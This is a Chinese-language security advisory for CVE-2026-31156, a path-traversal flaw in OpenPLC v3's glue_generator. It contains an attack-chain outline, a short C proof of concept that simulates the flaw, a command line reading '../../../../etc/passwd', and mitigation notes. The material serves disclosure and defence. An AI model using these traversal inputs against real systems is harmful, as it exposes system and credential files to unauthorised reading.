IPBUF安全漏洞报告
English
CVE-2026-31156 CVSS 6.5 中危

CVE-2026-31156 OpenPLC路径注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-31156
漏洞类型
路径注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenPLC v3

相关标签

路径注入任意文件读取OpenPLCCWE-22

漏洞概述

OpenPLC v3版本中存在路径注入漏洞,源于由glue_generator.cpp编译的二进制程序未对命令行文件路径参数进行验证。攻击者可利用该漏洞构造恶意路径,通过底层文件操作函数读取服务器上的任意文件,导致敏感信息泄露。

技术细节

该漏洞存在于OpenPLC v3的glue_generator组件中。由于编译后的二进制程序在处理命令行参数时,缺乏必要的安全校验机制,直接将用户控制的输入传递给fopen、ifstream及ofstream等文件操作接口。攻击者可通过提交包含路径遍历字符(如“../”)的恶意参数,绕过当前目录限制,访问并读取系统中的任意可读文件。该漏洞利用难度低,且无需用户交互,需低权限即可触发。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是存在漏洞的OpenPLC v3版本。
STEP 2
构造载荷
攻击者构造包含路径遍历序列(如“../../”)的恶意文件路径字符串,指向目标敏感文件(如/etc/passwd)。
STEP 3
执行利用
攻击者调用存在漏洞的二进制程序,并将恶意路径作为命令行参数传入。
STEP 4
读取数据
程序由于缺乏校验,直接打开并读取指定路径的文件,将内容返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-31156 Path Injection // The vulnerable binary accepts a file path argument directly. // An attacker can supply a relative path to read arbitrary files. #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <file_path>\n", argv[0]); return 1; } // Simulating the vulnerable behavior in glue_generator // In the real vulnerability, this path goes to fopen/ifstream without validation char *user_supplied_path = argv[1]; printf("Attempting to open: %s\n", user_supplied_path); FILE *fp = fopen(user_supplied_path, "r"); if (fp == NULL) { perror("Error opening file"); return 1; } char ch; while ((ch = fgetc(fp)) != EOF) { printf("%c", ch); } fclose(fp); return 0; } /* Compilation and Execution: gcc poc.c -o poc_exploit ./poc_exploit "../../../../etc/passwd" */

影响范围

OpenPLC v3 (commit 2c82b0e79c53f8c1f1458eee15fec173400d6e1a)

防御指南

临时缓解措施
建议立即限制对该二进制程序的访问权限,仅允许受信任的用户调用。在未修复前,可通过网络访问控制列表(ACL)限制对OpenPLC服务端口的访问,防止外部攻击者利用该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表